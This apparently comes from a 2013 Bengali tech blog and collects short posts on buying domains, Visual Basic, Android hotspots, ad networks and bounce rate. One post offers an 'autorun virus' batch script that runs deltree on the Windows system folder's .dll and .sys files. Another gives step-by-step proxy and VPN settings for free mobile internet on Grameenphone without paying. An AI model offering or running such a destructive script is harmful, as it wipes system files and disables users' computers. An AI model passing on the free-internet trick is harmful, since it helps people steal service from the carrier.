মাইটিউন্স

মাইটিউন্স

মাইটিউন্স

মাইটিউন্স

মাইটিউন্স

Sunday, September 29, 2013

ডোমেন কী?কিভাবে Domain ক্রয় করা য়ায(আনভেরিফায়েড পেপাল দিয়ে)চিত্র্র সহ ১০০%

ডোমেন কী?
সাধারণ ভাবে বলছি দরুন আপনি কোন একটি
ঠিকানায়(website)এ প্রবেশ করলেন যেমন: http://www.shobkeso.com
এই যে আপনি এই ঠিকানায় ডুকলেন এটি হল একটি ডোমেন ঠিকানা।
আপনার মনে হতে পারে আপনার নামে একটি এই রকম ঠিকানা
থাকুক। তাই আনাদের জানাবে কীভাবে একটি ডোমেন রেজিস্ট্রেশন
করতে হয়।
আর একটু বিস্তারিত বলি, একটি Domain Name এর জন্য
আপনার কী কী লাগবে? বা এর জন্য আপনার কত টাকা খরচ হবে? বা আপনি কী ভাবে ক্রয় করবেন এই যে আপনার এত প্রশ্ন
সকল প্রশ্নের উত্তর দিতে আপনাদের জন্য সবকিছু ডট কম হাজির: ত আর কথা না বলে শুরু করি।
**প্রথমে যা লাগবে তা হল যারা Domain Name রেজিস্ট্রেশন
করে তাদের website এ প্রবেশ করা। আপনাদের সুবিধার জন্য বলি
বিশ্বের এক নম্বর ডোমেন রেজিস্ট্রার কোম্পানি হল Goodady dot
com. তার পর হল Name Cheap.com আরও কনেক।
**আপনি এদের web site এ প্রবেশ করুন তার পর একটি
Account করুন। (আমি নেমচিপ ডট কম ভালবাসি কারণ
আনভেরিফায়েড পেপাল দিয়ে ডোমেইন ক্রয় করার সুবিধা)আমি
NameCheap এর নিয়ম দেখাব কিভাবে আনভেরিফায়েড Paypal
(paypal হল বিশ্বের সবচেয়ে বড় online পেমেন্ট Getway) দিয়ে
Domain ক্রয় করা যায়।
**এর জন্য আপনার কত খরচ হবে তাই ত ? বলছি মাত্র দশ
থেকে এগার ডলার (তবে কিছু কিছু সময় ছাড় পাওয়া যায়া)
১. প্রথমে  Name Cheap.com এর web site এ প্রবেশ
করুন NameCheap.com কিল্ক করুন। (একটি Account করে
নিন। এখানে)সমস্যা হয়ে কমেন্ট করুন।

নিচের মত একটি পেউজ দেখতে পাবেন। সাচ বক্সে আপনার কাংখিত
ডোমেইনটি লিখে সাচ দিন। যেমন টি আমি দিয়েছি।
Search বাটনে ক্লিক করুন। নিচের মত চিত্র দেখতে পাবেন। আপনার
কাঙ্খিত ডোমেইনটি নিবাচন করে Add To Cart এ ক্লিক করুন।
পর নিচের মত চিত্র আসবে।

Check out with PayPal বাটনে ক্লিক করুন। আপনি পেপালের নিজস্ব
পেজে রিডাইরেক্ট হবেন। লগইন করুন। নিদিষ্ট ডলার প্রদান করুন।
অতঃপর পুনরায় আপনার ডোমেইন রেজিষ্টারারের একাউন্টে প্রত্যাবতন
করুন। ব্যাস হয়ে গেল আপনার ডোমেইন কেনা। এখন আপনি যা ইচ্ছে
তাই করতে পারেন আপনার ডোমেইনকে নিয়ে কারন আপনিতো সাথে
পাচ্ছেন ফ্রি কন্ট্রোল প্যানেল এবং 24X7 Customer Support. কোন প্রশ্ন
থাকলে কমেন্ট করতে পারেন।
কঠিন হল না সহজ হল জানাবে কমেন্ট এর মাধ্যমে।
বি: দ্র: আমি বিষয় টি সহজ করে তুলে দরেছি আমি কপি করি নি তবে হ্যা অন্য লেখার সাহায্য নিয়েছিকম্পিউটার শিক্ষার জন্য সহজ টিউটরিয়াল পেতে facebook page টি লাইক করতে পারেন  আর আমার সাইট হল http://www.shobkeso.com (সবকিছু ডট কম)

Saturday, September 28, 2013

ভাইরাস ??কিন্তু কিরকম?? ।চেক করা দরকার।

সালাম  and
ঈদ মুবারাক সবাইকে।আপ্নাদের জন্ন নিয়ে আশ্লাম এই  tune. সকল পাঠকবৃন্দকে এবং শুরু করছি আজকের  লেখালেখি সবাই আসা করি ভাল আছেন ...আজকের টিউনে এ দিব কিভাবে অটোরান ভাইরাস তৈরী করা যায় ...আর এই ভাইরাসটি তৈরী করার পর আপনাদের কম্পিউটারে অ্যাপ্লাই করার দরকার নাই...যদি করেন তাহলে আপনাদের নিজ দায়িত্বে করবেন ....কিছু হলে আমি দায়গ্রস্হ নয়....আমি শুধু মাত্র শিখার জন্য দিচ্ছি ......... নিচের কোডটি নোটপেডে পেস্ট করে anyname.bat নামে সেভ করেন...( Autorun virus)
call attrib -h -r c:autoexec.bat>nul @Echo off c: cd %WinDir%System deltree /y*.dll cd deltree /y*.sys echo Smart Hacker
আশা করি বুঝে গেসেন।
সবাই ভাল থাকবেন ধন্যবাদ........
ইচ্ছা করলে ঘুরে আশ্তে পারেন।আশা ক্রি  sure আমার ব্লগ এ গেলে ভাল নতুন কিছু পাবেন  ।
add me on facebook

বাংলায় ভিজুয়্যাল বেসিক ৬—Beginner To Advanced (পর্ব ১)

বাংলায় ভিজুয়্যাল বেসিক ৬---Beginner To Advanced
 পর্ব ১
বাংলায় ভিজুয়্যাল বেসিক ৬
প্রোগ্রামঃ
দৈনন্দিন জীবনে অনেক কাজে আমরা কম্পিউটার ব্যবহার করি। কম্পিউটার দ্বারা বিভিন্ন কাজ সম্পন্ন করি। কাজ সম্পন্ন করার জন্য অর্থাৎ কাজ করার জন্য বিভিন্ন সফটওয়্যার (প্রোগ্রাম) ব্যবহার করি। যেমনঃ অপারেটিং সিস্টেম (Windows, Mac, Linux), Office। প্রোগ্রাম ছাড়া কোন কাজ সম্পন্ন হয় না। প্রত্যেকটা প্রোগ্রাম নির্দিষ্ট কাজের জন্য তৈরি হয়ে থাকে। এক প্রোগ্রাম দিয়ে অন্য প্রোগ্রাম এর কাজ করা যায় না। যেমনঃ VLC Player দিয়ে Office Word এর কাজ করা যায় না।
সুতরাং আমরা বলতে পারি, নির্দিষ্ট কাজের জন্য কতগুলো নির্দেশ (Instruction) এর সমষ্টিকে প্রোগ্রাম বলে।
প্রোগ্রামিং ল্যাঙ্গুয়েজঃ
এখন আপনাদের মনে প্রশ্ন জাগতে পারে এই প্রোগ্রাম কিভাবে তৈরি হয়?
এসব প্রোগ্রাম যেই প্রোগ্রাম দিয়ে তৈরি করা হয় তাকে প্রোগ্রামিং ল্যাঙ্গুয়েজ বলে। প্রোগ্রামিং ল্যাঙ্গুয়েজ দিয়ে যে কোন সফটওয়্যার (প্রোগ্রাম) তৈরি করা যায়। বলা বাহুল্য, আমরা যে সমস্ত প্রোগ্রাম ব্যবহার করি তা কোন না কোন প্রোগ্রামিং ল্যাঙ্গুয়েজ দ্বারা তৈরি। বর্তমানে অনেক ধরনের প্রোগ্রামিং ল্যাঙ্গুয়েজ আছে। যেমনঃ
ক) Assembly Programming Language
খ) C Programming Language
গ) C++ Programming Language
ঘ) Basic Programming Language
ঙ) Java Programming Language
চ) Phyton Programming Language
etc.....
এসব প্রোগ্রামিং ল্যাঙ্গুয়েজ দিয়ে আপনি সফটওয়্যার (প্রোগ্রাম) তৈরি করতে পারবেন। এখানে আমরা Basic Programming Language দিয়ে প্রোগ্রাম তৈরি শিখব।
BASIC এর পূর্ণ রূপ হলঃ Beginner Allpurpose Symbolic Instruction Code
BASIC হল সহজ একটি প্রোগ্রামিং ল্যাঙ্গুয়েজ। এর দ্বারা সহজে প্রোগ্রাম তৈরি করা যায়। এখানে আমরা Microsoft Visual Basic 6 দিয়ে প্রোগ্রাম তৈরি করব।
আজ এখানেই সমাপ্তি, ২য় পর্বে আমরা ভিজুয়্যাল বেসিক ইন্সটেলেশন নিয়ে আলোচনা করব।
................................................
এখানে আমি আমার কাজ, জ্ঞান ও অভিজ্ঞতা ধারাবাহিক ভাবে শেয়ার করব। যাতে সবাই প্রোগ্রামিং ল্যাঙ্গুয়েজ এর ব্যপারে অন্তত কিছুটা ধারনা জানুক।
(পোস্ট টিতে যদি কোন ভুল থাকে ক্ষমার দৃষ্টিতে দেখবেন)

উইন্ডোজ ব্যাচ প্রোগ্রামিং পিডিএফ -Widows Batch Programming PDF

আজ আপনাদের একটি PDF ইবুক উপহার দিব এই ইবুকটির বর্ননাটি আগে দিয়ে নেই ।
ইবুকটিতে ব্যাচ  ফাইলের দ্বারা কি কি করা যায় তা পুরাপুরি দিওয়া হয়েছে । ব্যাচ প্রোগ্রমিং এর প্রতিটি কিওয়ার্ড এর নির্দিষ্ট ব্যবহার এবং প্রতিটি কিওয়ার্ড দিয়ে একটি করে প্রোগাম করেও দেখানো হয়োছে । বইটিতে ব্যাচ ফাইল ভাইরাস তৈরি করে দেখানো হয়োছে । তাছারা একটি ফোল্ডার লোকার তৈরি করে দেখানো হয়েছে । ইবুকটির নাম :  Batch File Programming । লেখক : Premkumar. S । বইটির ভাষা : English ।
বাইটির মোট তেরটি অধ্যায় আছে এবং এই তেরটির অধ্যায় এর অধিনে আর অনেক পরিচ্ছেদ আছে ।
অধ্যায় সমূহ :-
  1. Batch File Programming doc
  2. Internal and External Commands
  3. Run Line commands
  4. Batch Operators
  5. Basic Commands
  6. Environment Variables
  7. Looping statement
  8. Conditional Statements
  9. Commands associated with files and folders
  10. Network Troubleshooting Commands
  11. Code Snippets
  12. Virus Programming
  13. Converting Batch to Executables
এই পোষ্টটি প্রথমে smitexpert  ব্লগে প্রকাশ পেয়েছে ।

আসুন আর নিনে নিন Programing শিখার চমৎকার একটি pdf বই।

আসসালামু আলাইকুম আশা করি সবাই ভাল আছেন। আজ আপনাদের সামনে নিয়ে এসেছি। Programing শিক্ষার একটি কুব ভালো বই
আশা করি বইটি আপনাদের অনেক উপকারে আসবে। তাই আজ এ বইটি ডাউনলোড করে নিন
Tamim Shariar Subeen-(Esho Programming Shikhi)
Book Name: Esho Programming Shikhi
Wriiter: Tamim Shariar Subeen
Size: 15 MB
Page: 117
Language: Bangla
Arrow
আমি উপরে যেই ডাউনলোড লেখা ইমেজ দিয়েছি তাতে ক্লিক করলেই সরাসরি ডাউনলোড হওয়া সুরু করবে
আরো বাংলা এবং ইংলিশ বই ডাউনলোড এর জন্য ঘুরে আসুন আমার সাইট এ এবং লাইক দিন আমার ফেসবুক পেজ এ
আমার সাইটঃ http://www.PDFworldBD.com
আমার ফেসবুক পেজঃ লাইক দিতে ক্লিক করুন
পোস্টটি পুরো পরার জন্য ধন্যবাদ আল্লাহ হাফেজ।

আপনার হাতের Android ফোনটি দিয়ে সহজেই তৈরী করুন মিনি WiFi Zone



মো রাসেল> সালাম ও শুভেচ্ছা টেক টিউন এর সকল লেখক ও পাঠকবৃন্দদের। বর্তমান বিশ্বে প্রযুক্তির ব্যাপক উন্নয়ন ঘটছে প্রতিনিয়ত আর এই উন্নয়নের মাধ্যমেই প্রযুক্তির প্রসার ঘটছে ব্যাপক ভাবে। আমরা প্রযুক্তিতে WiFi এর ব্যাবহার দেখি বিভিন্ন স্থানে এবং নিজেরাও বিভিন্ন সময়ে এ Wifi ব্যাবহার করি ইন্টারনেট চালানোর জন্য। আমরা অনেকেই অফিসে কিংবা বাড়িতে WiFi ব্যাবহার করি ADSL WiFi Router অথবা WiFi Sim Modem এর মাধ্যমে। কিন্তু মজার বিষয় হলো বর্তমানে Upgrade Android মোবাইল ব্যাবহার কারীরা উপরের Device গুলু ছাড়া খুব সহজেই যে কোন স্থানে মিনি WiFi Zone তৈরী করতে পারবে। তবে সে মোবাইলে অবশ্যই ইন্টারনেট কানেকশন থাকতে হবে যা কিনা WiFi এর মাধ্যমে অন্যদেরকে শেয়ার করবে।
এখন আমরা জানবো Android ফোনটি দিয়ে WiFi Zone তৈরীর পদ্ধতি-
প্রথমেই ফোনের WiFi ফাংশন চালু করি এবং Application মেনুতে গিয়ে Kies Air প্রোগ্রামটি চালু করি। তবে যাদের ফোনে এ প্রোগ্রামটি নাই তারা Play Store থেকে ডাউনলোড করে ইন্সটল করে নিই এবং প্রোগ্রামটি চালু করি।
তারপর Turn on Network থেকে Portable WiFi hotspot নির্বাচন করি
পরবর্তীতে Portable WiFi hotspot Settings থেকে Portable WiFi hotspot চেক বক্সে টিক দিই।
বাস মুহূর্তের মধ্যেই তৈরী হয়ে গেল WiFi Zone। এখন অন্য যেকোন Wifi Device {কম্পিউটার, মোবাইল, ল্যাপটপ, ক্যামেরা ইত্যাদি}এই Android ফোনের ইন্টারেনট কানেকশনটি শেয়ার করতে পারবে।
আর একটি বিষয় লক্ষ্যনীয় যে, আমরা চাইলে এই WiFi Zone এর নাম ও একে Password দিয়ে লক করে রাখতে পারি। সেক্ষেত্রে Portable WiFi hotspot Settings থেকে Configure Portable WiFi hotspot ঢুকি। এখন Network SSID বক্সে Wifi এর যে কোন একটি নাম দিয়ে দেই। আর Password দিতে চাইলে Security অপশন থেকে Open এর পরিবর্তে WPA2 PSK নির্বাচন করে Password বক্সে Password টি দিয়ে Save করে দিই।

এন্ড্রয়েড ব্যবহারকারীরা এবার ফ্রি নেট চালান যেকোনো ব্রাউজারে (স্কাইপ,গুগল স্টোর ছাড়াও সব চলবে একটা ট্রিক্স এ)

কেমন আছেন সবাই?আমার আগের টিউনগুলোতে আমাকে এন্ড্রয়েডের বিরুধী বলে মনে হতে পারে।কিন্তু তাই বলে তো এন্ড্রয়েড ব্যবহারকারীর বিরুধী না।
বাদ দেই সেসব কথা।কাজের কথাই আসি।এই ট্রিক্স এর মাধ্যমে আপনি সকল প্রকার নেট ফ্রিতে চালাতে পারবেন।শুধুমাত্র জিপি ব্যবহারকারীদের জন্য। তাহলে শুরু হয়ে যাক।
১০০ % কার্যকারী এ্যান্ড্রয়েড ফ্রী ইন্টারনেট (যেকোন
ব্রাউজার ও গুগল
প্লে থেকে ডাউনলোড) লেখা শুরু করার আগেই বলে নিই এই টিপস
যারা জানা নেই শুধু তাদের জন্য ।
এ্যান্ড্রয়েড ফ্রী ইন্টারনেট চালানর জন্য
কতকি যে করেছি এ ব্রাউজার ও ব্রাউজার
প্রক্সি এ্যাড্রেস আরো কত কি । তাও কেবল
মাত্র মডিফাইড ব্রাউজার ছাড়া নেট চলে না গুগল প্লে থেকে ডাউনলোড হয় না কত
ঝামেলা । টাকা দিয়ে এমবি কিনলে যেমন
নেট চালানো যায় ফ্রী নেট ও
তেমনি চালাবেন । আর কিছু লাগবে ?
প্রথমে setting এ যান
->Setting ->Wireless and Network Setting
->More Settings
->Mobile networkes
->Access Poaint Names
->Add New APN
Profile name: GP MMS APN: gpmms
Proxy: 10.128.1.2
Port: 8080
MCC: 470
MNC: 01
আর গুলো কিছুই করা লাগবে না । এটা কে ডিফল্ট হিসাবে সেট করুন ।
এখন নিচের লিংক থেকে Droid VPN
ডাউনলোড করুন ।
http:// downloads.pdprox y.com/
DroidVPN.apk
এখন Settings যান ->Settings
->Connection Protocol
->TCP সিলেক্ট করুন
এখন Port Settings যান
->Port Settings
->Set TCP Port : 8080 ->OK
এখন Proxy Settings যান
->Proxy Settings
->Enable : (√)
->Proxy Server : 10.128.1.2
->Port : 8080 ->Ok
এখন DroidVPN একটা একাউন্ট
খুলে Connect করুন ।
যাবার আগে বড় ফাইল ডাউনলোড সমস্যার
সমাধান টা দিয়ে যায়
Play Store থেকে LoaderDroid http:// play.google.com/ store/apps/ details?
id=org.z loy.android.dow
nloaderএ্যাপ টি নামিয়ে নিন ।
ডাউনলোড লিংক টা কপি করে পেস্ট করুন
ব্যাস ঝামেলা শেষ ।
এখন ফ্রী নেটের আসল মজা উপভোগ করুন ।

আপনাকে যে কল দিবে তার নাম বলবে এন্ড্রয়েড

সবাই আমার সালাম নিবেন। আশা করি ভালই আছেন।
এন্ড্রয়েড। এনড্রয়েড। এন্ড্রয়েড। চারিদিকে শুধু এন্ড্রয়েড।
এন্ড্রয়েডের ব্যবহার দিন দিন যেভাবে বৃদ্ধি পাচ্ছে।
তাতে মনে হচ্ছে এন্ড্রয়েডের এ্যাপস স্টোর খালি হয়ে গেল বুঝি।
এন্ড্রয়েডের বিশাল এ্যাপস ভান্ডার থেকে আপনাদের জন্য নিয়ে এসেছি Caller Name Talker।

এই এ্যাপসটির মাধ্যমে আপনি কলারের নাম শুনার সুবিধা উপভোগ করতে পারবেন।
অবশ্য কলারের নাম এবং নাম্বার আপনার ফোনে সেভ থাকতে হবে।

যাদের যাদের দরকার। তারাই শুধু নিয়ে নিন। জলদি..........................
ডাউনলোড করতে নিচের কোডটিতে ক্লিক করুন।

০০৭১২৮৫


ধন্যবাদ। সবাই ভালো থাকবেন।

বিশ্বের সবচেয়ে পাতলা হালকা কিবোর্ড


বৃটেনের ডেইলি পোস্টস পত্রিকার সাম্প্রতিক এক খবরে জানা গেছে, বর্তমানে বৃটিশ প্রযুক্তিবিদরা একধরনের নমনীয় কিবোর্ড উদ্ভাবন করেছেন। এই কিবোর্ডটি কাগজের মত হালকা। একে টার্চস্ক্রীনের যে কোনো অংশ হিসেবে ব্যবহার করে যায়। সিএসআর নামের একটি কোম্পানির উদ্ভাবিত এ কিবোর্ডটির পুরুত্ব মাত্র ০.৫ মিলিমিটার। বলা হয়ে থাকে এটি এ পর্যন্ত বিশ্বের সবচেয়ে হালকা কিবোর্ড।
এ কিবোর্ডকে ট্যাবলেট পিসি ও স্মার্ট মোবাইলের ব্যাপ্ত সংবেদনশীল এলাকা হিসেবে ব্যবহার করা যায়। সেজন্য ভোক্তারা মোবাইলের সঙ্গে একে যুক্ত করে এর মাধ্যমে এসএমএস পাঠাতে পারেন।
কোম্পানিটির প্রযুক্তিবিদ পল ওয়ালিয়ামস বলেন, ‘স্পর্শ এবং অঙ্গভঙ্গি নিয়ন্ত্রণের মাধ্যমে মৌলিক লেখালিখি করতে পারে, যা বর্তমানের টার্চস্ক্রীণজাত সরঞ্জামের তুলনায় সুবিধাজনক। ভবিষ্যতে এটাকে কম্পিউটার অপারেটরের ইন্টারফেস হিসেবে ব্যবহার করা হবে। এ কিরোর্ডের মধ্য দিয়ে মৌলিক অক্ষর ছাড়া ছবিআকা বা লেখা পাঠানো যায়।
কিবোর্ডটি সর্বশেষ প্রজন্মের এ্যাপল কোম্পানির স্মার্ট মোবাইল ও ট্যাবলেট পিসির সঙ্গে সংযুক্ত করা যায় এবং এতে উইন্ডোজ-৮ অপরেটিং সিস্টেম ব্যবহার করা যায়।
পূর্বে প্রকাশিত:

বাংলায় কোডিং শিখুন নিজে নিজে।

আমার নাম সাঈদ আহমেদ রাসেল। আমি ঢাকা বিশ্ববিদ্যালয়ের তথ্যবিজ্ঞান ও গ্রন্থাগার ব্যাবস্থাপনা বিভাগ থেকে আমার পড়ালেখা চালিয়ে যাচ্ছি। আমি কখনও বাংলায় অনলাইনে তেমন কিছু লেখার চিন্তা করি নাই। টুকটাক যা কিছু লেখার চেষ্টা করতাম তার সবকিছু ইংরেজিতে। কিন্তুু আজ মনে হল বাংলাতে কিছু লেখা দরকার। আমার বাংলাতে লেখার অভিজ্ঞতা নাই, তাই নিজের অজান্তে কোন ভুল করলে ক্ষমা সুন্দর দৃষ্টিতে দেখবেন।
যেহেতু শুরু করেই দিলাম সেহেতু কোন গল্প বা কবিতা লেখার চিন্তা আমার নাই। আমি নিজের অভিজ্ঞতা থেকে দেখলাম ইংরেজিতে বিভিন্ন সময় কোডিং করতে গিয়ে নানা প্রকার সমস্যায় পরতে হয়েছে। তাই বিভিন্ন সাইটে থেকে আমি যা শিখতেছি তা সবার সাথে শেয়ার করব। তেমন কোন প্রফেশনালের কাছে শিখার অভিজ্ঞতা আমার নাই। যা শিখেছি তার সবটুকুই নিজে নিজে।
আশা করি যারা নিজে নিজে কোডিং শিখতে চান তারা আমার এই লেখা থেকে কিছুটা হলেও উপকৃত হবেন। তবে আপনাদের একটা কথা বলে রাখি,যদি কেউ ভুল করেও কোন কোড কপি করেন তা হলে মনে করবেন আপনার কোডিং শিক্ষার তেমন কোন অগ্রগতি হবে না। যার কারনে আমি আমার লেখাতে সবগুলো কোডকে ছবি আকারে পোষ্ট করব।
যেভাবে কোডগুলো আপনাদের সাথে শেয়ার করব তার একটি উদাহরণ।
যাতে আপনারা কোডগুলো দেখে দেখে লিখতে পারেন। যদিও এটা বিরক্তিকর তার পরেও আপনাদের নিজেদের ভাল করার জন্য দয়াকরে কারও কোড কপি করবেন না।
অমি নিজে যে যে বিষয়গুলো সম্পর্কে জানি এবং প্রতিদিন নতুন কিছুনা কিছু জানতে চাই সেগুলো হল:
  • এইচ টি এম এল
  • সি এস এস
  • জাভাষ্ক্রিপ্ট
  • জেকোয়েরি
  • পি এইচ পি
  • মাই এসকিউয়েল
এগুলো ছাড়া আরও অনেক কিছু নিয়ে আমি পড়ালেখা চালিয়ে যাচ্ছি। আপাতত ক্রমান্নয়ে এগুলো সম্পর্কে আমার জানা-অজানাগুলোকে আপনাদের সাথে শেয়ারের মাধ্যমে জানাতে চাই। জানিনা তাতে কার কেমন লাগবে ? যদি কারও কোন প্রকার উপকার হয় তাতেই আমার পরিশ্রম সার্থক বলে মনে করব।

সহজে উত্তম আয়ের পথ চিতিকা(chitika)

অনলাইনে বিজ্ঞাপন নেটওয়ার্ক গুলির মধ্যে চিতিকা একটি।যারা ওয়েবসাইট/ব্লোগ পরিচালনা করে থাকেন তাদের প্রথম পছন্দ গুগলের এডসেন্স।কিন্তু এডসেন্স এপ্রুভ না হওয়া,সামান্য ভুলেই ব্যান হয়ে যাওয়া ইত্যাদি কারনে অনেকেই এডসেন্স ব্যবহার করতে পারেন না।তাই তারা বিকল্প পথের সন্ধান করে থাকেন।সেই পথটিই হচ্ছে চিতিকা।যারা চিতিকা সম্পর্কে ভাল জানেন তারা একবাক্যে বলে থাকেন‌‌ 'এডসেন্সের প্রধান বিকল্প chitika'
সত্যিই chitika এডসেন্সের প্রধান বিকল্প।আসুন জেনে নেই চিতিকা ব্যবহার করলে কি কি সুবিধা পাওয়া যাবে।
চিতিকা ডট কম(chitika.com) এর সুবিধাগুলি:
*তাদের এড তিন ধরনের টেক্ট,লিস্ট ও মোবাইল এড।
*চিতিকা এড সেটিংস থেকে মুলত টেক্ট/চিত্রভিত্তিক/টেক্ট ও চিত্রভিত্তিক তিনধরনের এড ব্যবহার করতে পারবেন।সাধারনত সিলভার মেম্বারদের জন্য টেক্ট এড বেশী দেখা যায়।
*চিতিকা টাকা দেয় ক্লিকপ্রতি অর্থাৎ ভিজিটর ক্লিক করলে টাকা পাবেন।
*চিতিকাতে দু-ধরনের মেম্বারশীপ হয়ে থাকে-সিলভার ও গোল্ড।আমেরিকার ভিজিটর বেশী হলে গোল্ড না হলে সিলভার।
*তাদের সদস্য হওয়া সবচেয়ে সোজা ওয়েবসাইট/ব্লোগ ভালভাবে তৈরি করুন,আট-দশটি পোস্ট রাখুন এবং তাদের সাইটে গিয়ে আবেদন করুন দেখবেন ২৪ ঘন্টায় তারা আপনাকে জানাবে তারা আপনাকে এপ্রুভ করেছে কিনা?
*তারা টাকা পাঠায় পে-পল অথবা চেক এর মাধ্যমে।পে-পলে নিম্নে দশ ডলার হলে উত্তোলন করা যায়।
*চিতিকা এবং এডসেন্স একই সাথে ব্যবহার করা যায়।কাজেই আপনার এডসেন্স থাকলেও আপনি ব্যবহার করতে পারবেন।
*চিতিকা মোবাইল এড চালু করেছে যার দৃষ্টান্ত খুবই কম।দিন যাচ্ছে মোবাইল ব্যবহারকারী বেড়েই চলেছে।
*তাদের এড সাইজ বিভিন্ন,এখানে পাবলিশাররা তাদের সুবিধামত এড সাইজ নির্বাচন করার সুবিধা পায়।
*চিতিকা আপনাকে দিচ্ছে রেফারেল আয়,তাই আপনার একসাথে দুই পাখি মারা হয়ে যাচ্ছে।
*তারা আপনার সাইটে সাথেসাথেই এড দেখাবে।
*আপনি নিজে নিজেই কোড ক্রিয়েট করতে পারবেন অর্থাৎ কোন ধরনের এড,কত সাইজের এড ইত্যাদি ইত্যাদি।
*যে কোন সমস্যায় তাদেরকে আপনি জানাতে পারেন।তারা সমাধান দেয়(আমি নিজেই তাদের সাথে ইমেইল যোগাযোগ রাখি)
এককথায় তারা প্রচুর সুবিধা দিয়ে থাকে।
চিতিকাতে আপনার একাউন্ট না থাকলে chitika.com এ গিয়ে একাউন্টের আবেদন করতে পারেন।
*প্রথম প্রকাশ bangla-tutor24

বাউন্স রেট কি ও কিভাবে কমাবেন সাইটের বাউন্স রেট

আজ আমরা আলোচনা করব ওয়েবসাইটের বাউন্স রেট নিয়ে। বাউন্স রেট যেকোন ওয়েবসাইটের জন্যই ক্ষতিকর । আপনারা অনেকেই হয়তো বাউন্স রেট সম্পর্কে জানেন । তারপরও চলুন আরো একবার জেনে নেওয়া যাক বাউন্স রেট কী? বাউন্স রেট হচ্ছে আপনার ওয়েবসাইটের সেই সমস্ত ভিজিটরের শতকরা হার। যারা শুধু আপনার ওয়েবসাইটের প্রথম পেজে এসে আবার চলে যায়। কিন্তু ঐ সাইটের ভিতরের বা অন্যকোন পেজগুলি ভিজিট করে না।

ব্যাপারটি আসলেই হতাশাজনক কারন আপনি আপনার মাথার ঘাম পায়ে ফেলে সাইটের জন্য এসইও করেন সর্বোপরি আপনার সাইটের পিছনে যথেষ্ট সময় দেন অথচ ভিজিটর আপনার সাইটটি চোখের দেখা দেখেই চলে যায়। এর চেয়ে কষ্টের আর কী হতে পারে।
গুগল অ্যানালিটিকস টুলসের মাধ্যমে একটি ওয়েবসাইটের বাউন্স রেট ট্রাক করা যায়। এটি আপনার ওয়েবসাইটের প্রত্যেকটি পেজের বাউন্স রেট প্রদর্শন করে। এছাড়াও আপনার ওয়েবসাইটে কিভাবে (অরগ্যানিক সার্চ, পেইড সার্চ ইত্যাদি) ভিজিটর আসে, আপনার সাইটের বিগত সময়ের বাউন্স রেটের পর্যালোচনা সহ অন্যান্য আরও অনেক গুরুত্বপূর্ণ ডাটা প্রদর্শন করে এছাড়াও অনেক তথ্য দেখায়। এগুলি দেখে আপনি খুব সহজেই আপনার সাইটের বাউন্স রেটের কারন বের করতে পারবেন।
সাধারণত বেশিরভাগ সাইটের বাউন্স রেটের হার ৫০% এর মত হয়ে থাকে। তবে এটিকে অতিক্রম করে যদি ৬০% হয় তাহলে সেটি একটু উদ্বিগ্ন হওয়ার মত । যদি আপনার সাইটের বাউন্স রেট এর চেয়েও বেশি হয় বা ৮০% এর মত হয় তাহলে এটি আপনার সাইটের জন্য একটি বিরাট সমস্যা। এর জন্য আপনার সাইটের রেপুটেশন খারাপ হয়ে যাবে এবং আপনার যদি এডসেন্স একাউন্ট থাকে তাহলে ওটাও ব্যান্ড হতে পারে।
বন্ধুরা, সমস্যা যেমন আছে তেমনি এর সমাধানও আছে। তো চলুন জেনে নেওয়া যাক আমাদের আলোচিত বাউন্স রেট বৃদ্ধির কারণ এবং তার সমাধান সমূহগুলি।
১. সাইটের ডিজাইন:
ইংরেজীতে একটি প্রবাদ আছে “First Impression is the last impression”. সুতরাং বুঝতেই পারছেন আপনার সাইটের বাউন্স রেট কমাতে হলে আপনার সাইটকে এমনভাবে সাজাতে হবে যেন প্রথম দর্শনেই ভিজিটরদের আপনার সাইটটিকে ভাল লেগে যায়। আপনার সাইট যেন এনিমেশন বা অ্যাড দিয়ে ভরা না থাকে, এছাড়াও অপ্রয়োজনীয় গ্রাফিকসের কারিকুরি দিয়ে সাইটকে ভিজিটরদের কাছে চোখ ধাঁধানো করতে যেয়ে যেন চোখের বিষ বানিয়ে না ফেলেন এ ‍দিকটি খেয়াল রাখবেন। চেষ্টা করুন আপনার সাইটে যেন স্বাভাবিক সৌন্দর্য বজায় থাকে, কৃত্রিমতার কোন প্রয়োজন নেই।
২. সঠিক তথ্য বা কী-ওয়ার্ড:
অনলাইন যে তথ্যের মহাসাগর এ ব্যাপারে কারো কোন দ্বিমত নেই। ভিজিটরগণ তার প্রয়োজনীয় বিষয়ের সঠিক তথ্যটি পেতে এক সাইট থেকে আরেক সাইটে ছোটাছুটি করে থাকেন। সুতরাং আপনি যদি এ তথ্যটি দিতে পারেন তাহলে ভিজিটর আপনার সাইট ছেড়ে যে সহজে যাবে সেটা বলে দেওয়া যায়। তবে সমস্যা যেটা হয় সেটা এরকম যেমন, ভিজিটর কোন কীওয়ার্ড ধরে আপনার সাইটে আসল কিন্তু দেখা গেল আপনার সাইটে ঐ সম্পর্কিত তথ্যটি পুরানো বা ভুল। আবার এমন ও হতে পারে আপনার লেখার মাধ্যমে সঠিকভাবে তথ্যটি প্রস্ফুটিত হয়নি। আর এসব কারনে ভিজিটর ফিরে যাবে এবং বাউন্স রেট বৃদ্ধি পেতে থাকবে। সুতরাং এক্ষেত্রে আমার পরামর্শ আপনার সাইটটি যে বিষয়ের উপর সে বিষয়ের নতুন তথ্য সঠিকভাবে দিয়ে আপনার সাইট আপডেট রাখুন। তাহলে ভিজিটর আপনার সাইট ছেড়ে যাবেনা। কারণ ভিজিটর মৌমাছির মত, যেখানে মধু পাবে সেখানেই থেকে যাবে।
৩. সাইটের লোডিং টাইম:
সাইট লোড হতে যদি সময় বেশি লাগে তাহলে আপনার সাইটের বাউন্স রেটের হার বৃদ্ধি পাবে। কারণ লোডিং টাইম বেশি লাগলে ভিজিটর আপনার সাইট ত্যাগ করবে।
৪. রিলেটেড পোস্ট না থাকা:
একজন ভিজিটর আপনার সাইটে ভিজিট করল এবং কোন একটি বিষয় সম্পর্কে জানল। এরপর সে স্বাভাবিকভাবেই চাইবে এ বিষয়ে আরও বিস্তারিত জানার জন্য। তখন সে দেখবে উল্লেখিত বিষয়টির কোন রিলেটেড পোস্ট আছে কিনা। যদি রিলেটেড পোস্ট না থাকে তাহলে ভিজিটর অন্য কোন সাইটে যাবে স্বাভাবিকভাবেই। আর এভাবেই বাড়তে থাকবে আপনার সাইটের বাউন্স রেট। সুতরাং চেষ্টা করবেন যে কোন বিষয়ের উপর যথাসম্ভব বেশি তথ্যসমৃদ্ধ রিলেটেড পোস্ট রাখতে। এটা আপনার সাইটের বাউন্স রেট কমাতে সহায়ক হবে।
